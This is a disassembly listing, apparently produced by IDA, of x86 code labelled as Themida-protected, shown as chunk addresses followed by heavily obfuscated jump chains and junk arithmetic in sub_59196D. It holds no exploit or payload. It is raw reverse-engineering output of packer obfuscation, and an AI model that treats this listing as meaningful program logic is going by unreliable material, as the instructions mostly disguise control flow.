; FUNCTION CHUNK AT 0058B86A SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0058B8F6 SIZE 00000099 BYTES
; FUNCTION CHUNK AT 0058B998 SIZE 00000193 BYTES
; FUNCTION CHUNK AT 0058BB52 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BB6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB85 SIZE 000000A8 BYTES
; FUNCTION CHUNK AT 0058BC3F SIZE 00000081 BYTES
; FUNCTION CHUNK AT 0058BCD9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058BD16 SIZE 000000B9 BYTES
; FUNCTION CHUNK AT 0058BDF0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058BE1D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BE30 SIZE 000000D3 BYTES
; FUNCTION CHUNK AT 0058BF1D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058BF54 SIZE 0000024A BYTES
; FUNCTION CHUNK AT 0058C229 SIZE 0000014D BYTES
; FUNCTION CHUNK AT 0058C3A1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058C3E1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C3FA SIZE 00000185 BYTES
; FUNCTION CHUNK AT 0058C58A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C5C3 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058C602 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058C64A SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058C69E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C6D1 SIZE 00000099 BYTES
; FUNCTION CHUNK AT 0058C76F SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0058C7F7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C829 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0058C8D8 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0058C974 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0058C9BE SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0058CA4C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058CA74 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CA98 SIZE 0000023E BYTES
; FUNCTION CHUNK AT 0058CCDF SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0058CD20 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0058CD8B SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058CDEC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058CE22 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058CE81 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CEB2 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0058CF1C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058CF3F SIZE 00000098 BYTES
; FUNCTION CHUNK AT 0058CFEB SIZE 000000BC BYTES
; FUNCTION CHUNK AT 0058D0C9 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0058D122 SIZE 000002A5 BYTES
; FUNCTION CHUNK AT 0058D3D9 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058D41E SIZE 00000103 BYTES
; FUNCTION CHUNK AT 0058D544 SIZE 00000071 BYTES
; FUNCTION CHUNK AT 0058D5C8 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0058D62E SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0058D68C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058D6B6 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0058D76E SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0058D7C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D7EA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D81C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D838 SIZE 0000008C BYTES
; FUNCTION CHUNK AT 0058D8C9 SIZE 00000145 BYTES
; FUNCTION CHUNK AT 0058DA28 SIZE 0000006E BYTES
; FUNCTION CHUNK AT 0058DA9F SIZE 0000009A BYTES
; FUNCTION CHUNK AT 0058DB41 SIZE 00000107 BYTES
; FUNCTION CHUNK AT 0058DC52 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 0058DCDD SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058DD16 SIZE 00000149 BYTES
; FUNCTION CHUNK AT 0058DE62 SIZE 0000007C BYTES
; FUNCTION CHUNK AT 0058DEF1 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 0058E001 SIZE 000000AD BYTES
; FUNCTION CHUNK AT 0058E0B7 SIZE 0000007E BYTES
; FUNCTION CHUNK AT 0058E13A SIZE 0000008E BYTES
; FUNCTION CHUNK AT 0058E1EA SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058E23F SIZE 00000178 BYTES
; FUNCTION CHUNK AT 0058E3D7 SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0058E46B SIZE 00000066 BYTES
; FUNCTION CHUNK AT 0058E4EF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E51E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058E54E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E567 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0058E5E2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058E630 SIZE 000000EF BYTES
; FUNCTION CHUNK AT 0058E776 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058E7D8 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0058E83C SIZE 000000CD BYTES
; FUNCTION CHUNK AT 0058E90A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058E930 SIZE 000000C3 BYTES
; FUNCTION CHUNK AT 0058EA09 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0058EA92 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058EB0A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058EB3B SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0058EBC7 SIZE 0000013E BYTES
; FUNCTION CHUNK AT 0058ED2B SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058ED82 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0058EDD5 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058EE4B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058EE6D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058EE7E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058EEA5 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0058EF1C SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0058EF75 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058EF98 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058EFC9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058EFF0 SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0058F074 SIZE 00000086 BYTES
; FUNCTION CHUNK AT 0058F11D SIZE 000000EB BYTES
; FUNCTION CHUNK AT 0058F217 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F22C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F254 SIZE 000001A2 BYTES
; FUNCTION CHUNK AT 0058F3F8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058F436 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058F487 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058F4BC SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058F4F6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058F50F SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F542 SIZE 0000007F BYTES
; FUNCTION CHUNK AT 0058F5DC SIZE 0000031A BYTES
; FUNCTION CHUNK AT 0058F90F SIZE 000000A0 BYTES
; FUNCTION CHUNK AT 0058F9B8 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F9E2 SIZE 000001BD BYTES
; FUNCTION CHUNK AT 0058FBC7 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058FC0C SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058FC5B SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058FCB0 SIZE 0000008B BYTES
; FUNCTION CHUNK AT 0058FD4B SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0058FDB0 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0058FE37 SIZE 000000BD BYTES
; FUNCTION CHUNK AT 0058FF02 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058FF86 SIZE 0000010B BYTES
; FUNCTION CHUNK AT 0059009D SIZE 00000095 BYTES
; FUNCTION CHUNK AT 00590144 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00590191 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005901C7 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0059021E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00590253 SIZE 0000007D BYTES
; FUNCTION CHUNK AT 005902E5 SIZE 000000D0 BYTES
; FUNCTION CHUNK AT 005903BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005903DA SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0059044D SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00590493 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0059050F SIZE 00000071 BYTES
; FUNCTION CHUNK AT 005905A5 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0059060C SIZE 0000006B BYTES
; FUNCTION CHUNK AT 005906A0 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005906FA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059071E SIZE 00000068 BYTES
; FUNCTION CHUNK AT 005907A6 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0059083B SIZE 0000007D BYTES
; FUNCTION CHUNK AT 005908DD SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0059094A SIZE 00000073 BYTES
; FUNCTION CHUNK AT 005909C3 SIZE 0000005C BYTES
; FUNCTION CHUNK AT 00590A25 SIZE 00000060 BYTES
; FUNCTION CHUNK AT 00590A95 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00590AAE SIZE 000000E0 BYTES
; FUNCTION CHUNK AT 00590B9A SIZE 00000046 BYTES
; FUNCTION CHUNK AT 00590BFE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00590C3E SIZE 0000009D BYTES
; FUNCTION CHUNK AT 00590CFD SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00590D4A SIZE 00000142 BYTES
; FUNCTION CHUNK AT 00590E98 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00590EF4 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00590F23 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590F51 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00590F88 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00590FBF SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00591008 SIZE 0000006F BYTES
; FUNCTION CHUNK AT 00591082 SIZE 0000007C BYTES
; FUNCTION CHUNK AT 00591115 SIZE 00000176 BYTES
; FUNCTION CHUNK AT 005912E6 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591317 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059133A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00591359 SIZE 000000F6 BYTES
; FUNCTION CHUNK AT 005914A1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005914BF SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591507 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00591539 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591557 SIZE 00000109 BYTES
; FUNCTION CHUNK AT 0059167D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591690 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005916C6 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00591717 SIZE 0000009D BYTES
; FUNCTION CHUNK AT 005917BF SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0059180E SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0059189F SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005918F5 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00591945 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059841A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00598445 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005984A0 SIZE 000000C5 BYTES
; FUNCTION CHUNK AT 0059856D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059859A SIZE 000000E2 BYTES
sub esp, 4
jmp loc_59621D
; ---------------------------------------------------------------------------
loc_591978: ; CODE XREF: sub_59196D+CA2j
mov word ptr [esp+1Ch+var_1E+2], cx
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591981: ; CODE XREF: sub_59196D+1ED2j
add edx, eax
push [esp+1Ch+var_1E+2]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+20h+var_22+2]
jmp loc_595E9B
; ---------------------------------------------------------------------------
loc_59199E: ; CODE XREF: sub_59196D-5070j
add esp, 4
push ebx
mov bh, dl
jmp loc_5935AA
; ---------------------------------------------------------------------------
loc_5919A9: ; CODE XREF: sub_59196D+4247j
pop eax
add bl, al
jmp loc_58F6AD
; ---------------------------------------------------------------------------
loc_5919B1: ; CODE XREF: sub_59196D+22C1j
push esi
push 4
pop esi
sub edi, esi
pop esi
jmp loc_59356B
; ---------------------------------------------------------------------------
loc_5919C0: ; CODE XREF: sub_58EE14+32j
add [esp+2Eh+var_2E], 4
pop eax
add eax, 4
push esi
jmp loc_593AB5
; ---------------------------------------------------------------------------
loc_5919D3: ; CODE XREF: Themida_:0058EB05j
xchg eax, [esp+2Eh+var_2E]
pop esp
jmp loc_59616A
; ---------------------------------------------------------------------------
loc_5919DC: ; CODE XREF: sub_59196D+2D45j
xchg edx, [esp+2Ah+var_2A]
pop esp
push [esp+26h+var_26]
pop eax
sub esp, 4
mov [esp+2Ah+var_2A], esi
jmp loc_58BF79
; ---------------------------------------------------------------------------
loc_5919EF: ; CODE XREF: sub_59196D+1BDBj
xchg eax, [esp+2Ah+var_2A]
pop esp
jmp loc_5941A2
; ---------------------------------------------------------------------------
loc_5919F8: ; CODE XREF: sub_59196D+D98j
pop ebx
or ebx, 76135884h
add ebx, 60EB01B6h
mov ecx, ebx
mov ebx, [esp+22h+var_22]
add esp, 4
push edi
push ebp
mov ebp, 66F51BD7h
sub ebp, 5F1FDEF6h
mov edi, ebp
pop ebp
neg edi
jmp loc_59728E
; ---------------------------------------------------------------------------
loc_591A27: ; CODE XREF: sub_59196D+6383j
add esi, edx
add esi, 29E20168h
pop edx
jmp loc_59615F
; ---------------------------------------------------------------------------
loc_591A35: ; CODE XREF: sub_59196D+1BF1j
mov esi, 388233DFh
inc esi
jmp loc_595453
; ---------------------------------------------------------------------------
loc_591A40: ; CODE XREF: sub_59196D+1261j
xor edi, 10614540h
push eax
mov eax, 2A85F51h
shr eax, 5
xor eax, 11E60BDEh
jmp loc_59710E
; ---------------------------------------------------------------------------
loc_591A59: ; CODE XREF: Themida_:0059018Cj
; sub_59196D+1399j ...
not ecx
sub ecx, 0A0BF8F6Eh
push ebp
jmp loc_58B42E
; ---------------------------------------------------------------------------
loc_591A67: ; CODE XREF: sub_59196D-3169j
pop bx
sub esp, 4
mov [esp+16h+var_16], edx
jmp loc_58C486
; ---------------------------------------------------------------------------
loc_591A77: ; CODE XREF: sub_59196D+4D3j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591A7C: ; CODE XREF: sub_59196D+42E3j
mov [esp+16h+var_16], ecx
mov ecx, 332A38A4h
jmp loc_58D6D3
; ---------------------------------------------------------------------------
loc_591A89: ; CODE XREF: sub_59196D+2A4Fj
pop esp
push ebx
push edx
jmp loc_5931EF
; ---------------------------------------------------------------------------
loc_591A91: ; CODE XREF: sub_59196D+3DA1j
push [esp+1Ah+var_16]
mov edi, [esp+1Eh+var_1E]
add esp, 4
jmp loc_5905AA
; ---------------------------------------------------------------------------
loc_591AA3: ; CODE XREF: sub_59196D+326Aj
and ecx, 615C4002h
jmp loc_597A34
; ---------------------------------------------------------------------------
loc_591AAE: ; CODE XREF: sub_59196D-3189j
push ecx
push [esp+1Ch+var_1A+2]
pop ecx
pop [esp+1Ch+var_1E+2]
pop esp
push 2114h
mov [esp+18h+var_1A+2], edx
mov edx, 1
and ecx, edx
push [esp+18h+var_1A+2]
mov edx, [esp+1Ch+var_1E+2]
add esp, 4
push 1EC3h
mov [esp+1Ch+var_1E+2], edi
push esp
pop edi
push edx
mov edx, 4
add edi, edx
mov edx, [esp+20h+var_22+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5901C7
; ---------------------------------------------------------------------------
loc_591AFC: ; CODE XREF: sub_59196D+74Bj
sub edx, 34B865AFh
jp loc_5915B9
xor edx, 76D5B12h
mov edi, edx
pop edx
and edi, 49A87299h
jns loc_595523
sub edi, 0FFFFFFFFh
or edi, 68ED47C5h
pop esi
loc_591B27: ; CODE XREF: sub_59196D-147Dj
mov edi, 66CF2A74h
shr edi, 3
jmp loc_5984D4
; ---------------------------------------------------------------------------
loc_591B34: ; CODE XREF: sub_59196D+4059j
xor edi, 17F351DBh
add edi, 1
shr edi, 8
add edi, 0FFAB2088h
add ecx, edi
pop edi
push edi
mov edi, 3A943F08h
xor edi, 74700D6Ah
xor edi, 5454254Fh
jmp loc_58F65B
; ---------------------------------------------------------------------------
loc_591B60: ; CODE XREF: sub_59196D+231Bj
jmp loc_59539F
; ---------------------------------------------------------------------------
loc_591B65: ; CODE XREF: sub_59196D+5E0j
push ebp
push 47E9234Ch
pop ebp
add ebp, 1
shr ebp, 1
jmp loc_58FC66
; ---------------------------------------------------------------------------
loc_591B79: ; CODE XREF: sub_59196D-2211j
sub ebx, ebp
push [esp+18h+var_1A+2]
pop ebp
add esp, 4
push esi
mov esi, 7D8C7B83h
sub ebx, esi
jmp loc_59507F
; ---------------------------------------------------------------------------
loc_591B8F: ; CODE XREF: sub_59196D+33B1j
; sub_59196D+4092j
movzx cx, ah
push small 26A5h
mov word ptr [esp+1Ah+var_1A], cx
movzx cx, al
push cx
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591BA7: ; CODE XREF: sub_59196D+176Dj
mov [esp+20h+var_22+2], edi
push ebx
add [esp+24h+var_26+2], 6F3A4B7Bh
mov edi, [esp+24h+var_26+2]
add esp, 4
push esi
jmp loc_592F27
; ---------------------------------------------------------------------------
loc_591BC1: ; CODE XREF: sub_59196D-5DA5j
mov eax, [esp+20h+var_22+2]
add esp, 4
jmp loc_597403
; ---------------------------------------------------------------------------
loc_591BCF: ; CODE XREF: sub_59196D-47F4j
; sub_59196D+D76j
add edi, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
push edx
sub esp, 4
mov [esp+10h+var_12+2], esi
push 2C9452C0h
jmp loc_596E87
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+14h+var_16+2]
push eax
push esp
pop eax
sub esp, 4
jmp loc_5933CE
; ---------------------------------------------------------------------------
loc_591BFA: ; CODE XREF: sub_59196D+27B5j
xchg ebx, [esp+1Ch+var_1E+2]
pop esp
mov ebp, eax
pop eax
jmp loc_593426
; ---------------------------------------------------------------------------
loc_591C06: ; CODE XREF: sub_59196D-115Ej
add eax, edx
pop edx
jmp loc_59293D
; ---------------------------------------------------------------------------
loc_591C0E: ; CODE XREF: sub_59196D-4810j
sub ecx, 5FA603F5h
add ecx, 704874E6h
jmp loc_58EF07
; ---------------------------------------------------------------------------
loc_591C1F: ; CODE XREF: sub_59196D+1B96j
xor esi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], esi
jmp loc_59857F
; ---------------------------------------------------------------------------
loc_591C2A: ; CODE XREF: sub_59196D-4809j
sub esp, 4
mov [esp+10h+var_12+2], esi
jmp loc_593813
; ---------------------------------------------------------------------------
loc_591C35: ; CODE XREF: sub_59196D+5E44j
mov esi, esp
add esi, 4
add esi, 4
push esi
jmp loc_5934C6
; ---------------------------------------------------------------------------
loc_591C46: ; CODE XREF: sub_59196D+1B4Bj
and esi, 72094548h
jmp loc_594197
; ---------------------------------------------------------------------------
loc_591C51: ; CODE XREF: sub_59196D-6054j
push edi
mov edi, 70FD3DB5h
push ebp
mov ebp, 0DE5191h
add ebp, 79060AC3h
sub edi, ebp
jmp loc_58E776
; ---------------------------------------------------------------------------
loc_591C6A: ; CODE XREF: sub_59196D+1BE3j
mov esp, [esp+1Ch+var_1E+2]
jmp loc_58CBA9
; ---------------------------------------------------------------------------
loc_591C72: ; CODE XREF: sub_59196D+1A7Dj
mov edi, 60F2436Fh
mov ebx, 60F24373h
sub ebx, edi
mov edi, [esp+1Ch+var_1E+2]
jmp loc_59792E
; ---------------------------------------------------------------------------
loc_591C86: ; CODE XREF: sub_59196D-4E18j
dec edx
jmp loc_594DC5
; ---------------------------------------------------------------------------
loc_591C8C: ; CODE XREF: sub_59196D+18F6j
mov [esp+14h+var_16+2], edx
mov edx, 4D6D23A1h
push eax
push 0FFFFFFFFh
pop eax
sub edx, eax
pop eax
sub edx, 54C30C73h
jnz loc_58F9E2
inc edx
jle loc_598588
shr edx, 3
mov al, ah
push ecx
loc_591CB7: ; CODE XREF: sub_59196D+647j
add edx, 5D91700Bh
add edx, edi
sub edx, 5D91700Bh
add edx, 3DE67288h
jmp loc_59841A
; ---------------------------------------------------------------------------
loc_591CD0: ; CODE XREF: sub_59196D+38F3j
push 163Eh
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
pop ebx
sub esp, 4
jmp loc_58B8B5
; ---------------------------------------------------------------------------
loc_591CE8: ; CODE XREF: sub_59196D+4127j
jp loc_5944D3
push eax
mov al, 1
xor cl, al
pop eax
sub al, 86h
jmp loc_58D6CE
; ---------------------------------------------------------------------------
pop esp
loc_591CFC: ; CODE XREF: sub_59196D+FCBj
not esi
dec esi
neg esi
sub esi, 720E3D41h
add esi, 3E11C842h
jmp loc_5985DD
; ---------------------------------------------------------------------------
push [esp+18h+var_1A+2]
push [esp+1Ch+var_1E+2]
mov edx, [esp+20h+var_22+2]
push 36B9h
mov [esp+24h+var_26+2], edi
mov edi, esp
push ebp
jmp loc_58C71F
; ---------------------------------------------------------------------------
loc_591D2B: ; CODE XREF: sub_59196D+1114j
mov esi, 4
sub edx, esi
mov esi, [esp+28h+var_2A+2]
add esp, 4
xchg edx, [esp+24h+var_26+2]
jmp loc_59810F
; ---------------------------------------------------------------------------
loc_591D40: ; CODE XREF: sub_59196D+4D17j
; sub_59196D+64E6j
mov ebx, 2CAE09D6h
mov ebp, 718B5FE2h
sub ebp, ebx
jmp loc_58BB85
; ---------------------------------------------------------------------------
loc_591D51: ; CODE XREF: sub_59196D-343j
push esi
mov esi, 66DF1857h
not esi
push edx
mov edx, 5A0D27FCh
or esi, edx
mov edx, [esp+0]
add esp, 4
dec esi
jmp loc_58EB83
; ---------------------------------------------------------------------------
loc_591D70: ; CODE XREF: sub_59196D-4837j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+8+var_8]
pop esp
push 7AA4h
jmp loc_595CC1
; ---------------------------------------------------------------------------
loc_591D89: ; CODE XREF: sub_59196D+680Cj
mov ebp, 1A72116Fh
sub ebp, 0F8439746h
push ecx
mov ecx, ebp
mov ebx, ecx
pop ecx
mov ebp, [esp+8+var_8]
add esp, 4
sub ebx, 222E7A25h
add ecx, 15BE4CE7h
add ecx, ebx
sub ecx, 15BE4CE7h
jmp loc_59454E
; ---------------------------------------------------------------------------
loc_591DB9: ; CODE XREF: sub_59196D+421Ej
push ebp
jmp loc_5970C1
; ---------------------------------------------------------------------------
loc_591DBF: ; CODE XREF: sub_59196D+3850j
mov [esp+8+var_8], ebx
push 0
mov ebx, [esp+0Ch+var_C]
add esp, 4
add ebx, eax
push 136Dh
mov [esp+0Ch+var_C], eax
mov eax, 0
add eax, 21FA130Fh
sub eax, 7ACE43B0h
add eax, ebx
add eax, 7ACE43B0h
sub eax, 21FA130Fh
mov [eax], dl
pop eax
push [esp+8+var_8]
pop ebx
push ebx
jmp loc_5985C7
; ---------------------------------------------------------------------------
loc_591E02: ; CODE XREF: Themida_:0058F227j
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_59548C
; ---------------------------------------------------------------------------
loc_591E13: ; CODE XREF: sub_59196D-523j
mov ebp, 264B2D22h
dec ebp
push edx
jmp loc_597A91
; ---------------------------------------------------------------------------
loc_591E1F: ; CODE XREF: sub_59196D+4B63j
mov edi, 188460F2h
dec edi
not edi
jmp loc_58DA74
; ---------------------------------------------------------------------------
loc_591E2C: ; CODE XREF: sub_59196D-2647j
push esi
jmp loc_58D81C
; ---------------------------------------------------------------------------
loc_591E32: ; CODE XREF: sub_59196D-AF4j
add esp, 4
xchg esi, [esp+0]
pop esp
dec byte ptr [esp+0Ah+var_C+2]
pushf
jmp loc_591A77
; ---------------------------------------------------------------------------
loc_591E45: ; CODE XREF: sub_59196D+4EDCj
mov dl, 4Ch
add dl, 0FCh
jmp loc_594DF5
; ---------------------------------------------------------------------------
loc_591E4F: ; CODE XREF: sub_59196D+1691j
pop ebx
push esi
push 77B24A2Ch
pop esi
sub esi, 60A5F709h
mov edx, esi
pop esi
add edx, ebp
jmp loc_592BEA
; ---------------------------------------------------------------------------
loc_591E67: ; CODE XREF: sub_59196D-3F2Aj
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591E6C: ; CODE XREF: sub_59196D-48CBj
shl al, 3
sub al, 0FFh
jmp loc_59468C
; ---------------------------------------------------------------------------
loc_591E76: ; CODE XREF: sub_59196D-637Dj
; sub_59196D-2F2Dj
jmp loc_58C902
; ---------------------------------------------------------------------------
loc_591E7B: ; CODE XREF: sub_59196D-4C7Cj
; sub_59196D:loc_58F7B8j
pop ebx
mov edx, esi
pop esi
jmp loc_58F8DE
; ---------------------------------------------------------------------------
loc_591E84: ; CODE XREF: sub_59196D-1F9Ej
push 2299609Fh
jmp loc_59736C
; ---------------------------------------------------------------------------
loc_591E8E: ; CODE XREF: sub_59196D-53A5j
mov cx, 5BCBh
add ax, cx
jmp loc_58BA6A
; ---------------------------------------------------------------------------
loc_591E9A: ; CODE XREF: sub_59196D+3A98j
mov [esp+14h+var_16+2], eax
mov ebx, [esp+14h+var_16+2]
add esp, 4
mov eax, [esp+10h+var_12+2]
jmp loc_58EA14
; ---------------------------------------------------------------------------
loc_591EAB: ; CODE XREF: sub_59196D+114Cj
xor ah, dh
pop edx
inc ah
xor ah, 52h
sub dh, ah
pop eax
pop eax
add al, 0B3h
sub al, dh
sub al, 0B3h
push [esp+4+var_4]
pop edx
add esp, 4
push 2EDAh
mov [esp+4+var_4], edx
push ecx
push 4951h
jmp loc_58F1D1
; ---------------------------------------------------------------------------
loc_591EDA: ; CODE XREF: sub_59196D+12A7j
sub esp, 4
jmp loc_593C1D
; ---------------------------------------------------------------------------
loc_591EE5: ; CODE XREF: sub_59196D-5DF2j
; sub_59196D-5DDBj
inc ebp
xor ebp, 6A250535h
add ebp, 0D84514Ch
jmp loc_5954E2
; ---------------------------------------------------------------------------
loc_591EF7: ; CODE XREF: sub_59196D+3A15j
jz loc_591F7B
dec edx
js loc_58EDED
jmp loc_59355D
; ---------------------------------------------------------------------------
loc_591F09: ; CODE XREF: sub_59196D-5208j
add eax, ebp
jmp loc_5950C5
; ---------------------------------------------------------------------------
loc_591F10: ; CODE XREF: sub_59196D-49EBj
push 78AAh
mov [esp+18h+var_1A+2], esi
jmp loc_58FE8E
; ---------------------------------------------------------------------------
loc_591F1D: ; CODE XREF: Themida_:0058DEECj
sub esp, 4
mov [esp+1Ch+var_1E+2], esp
add [esp+1Ch+var_1E+2], 4
jmp loc_5981B9
; ---------------------------------------------------------------------------
loc_591F2F: ; CODE XREF: sub_59196D-4329j
add [esp+30h+var_32+2], 2BE956F0h
jmp loc_591115
; ---------------------------------------------------------------------------
loc_591F3B: ; CODE XREF: sub_59196D-312j
mov edx, 22071A7Dh
dec edx
push ebx
mov ebx, 213F5D9Fh
add ebx, 1
jmp loc_591B65
; ---------------------------------------------------------------------------
loc_591F52: ; CODE XREF: sub_59196D+2009j
push ebx
mov ebx, 4ADC262Dh
push ebx
jmp loc_58ED2B
; ---------------------------------------------------------------------------
loc_591F5E: ; CODE XREF: sub_59196D+B23j
push [esp+44h+var_44]
mov eax, [esp+48h+var_4A+2]
add esp, 4
push 30E5h
mov [esp+48h+var_4A+2], ecx
mov ecx, esp
jmp loc_5959C0
; ---------------------------------------------------------------------------
loc_591F76: ; CODE XREF: sub_59196D-35E8j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_591F7B: ; CODE XREF: sub_59196D:loc_591EF7j
dec edx
js loc_590994
jmp loc_58D619
; ---------------------------------------------------------------------------
loc_591F87: ; CODE XREF: sub_59196D+35E3j
xor edi, [esp+1Ch+var_1E+2]
pop esp
sub esp, 4
mov [esp+1Ch+var_1E+2], eax
mov eax, 3A570897h
add edx, eax
push [esp+1Ch+var_1E+2]
pop eax
add esp, 4
push edi
mov edi, 0FAC135Eh
push edi
mov edi, 3DE67288h
sub edx, edi
pop edi
jmp loc_591CB7
; ---------------------------------------------------------------------------
loc_591FB9: ; CODE XREF: sub_59196D+48CFj
shr cl, 4
sub cl, 69h
jmp loc_59351E
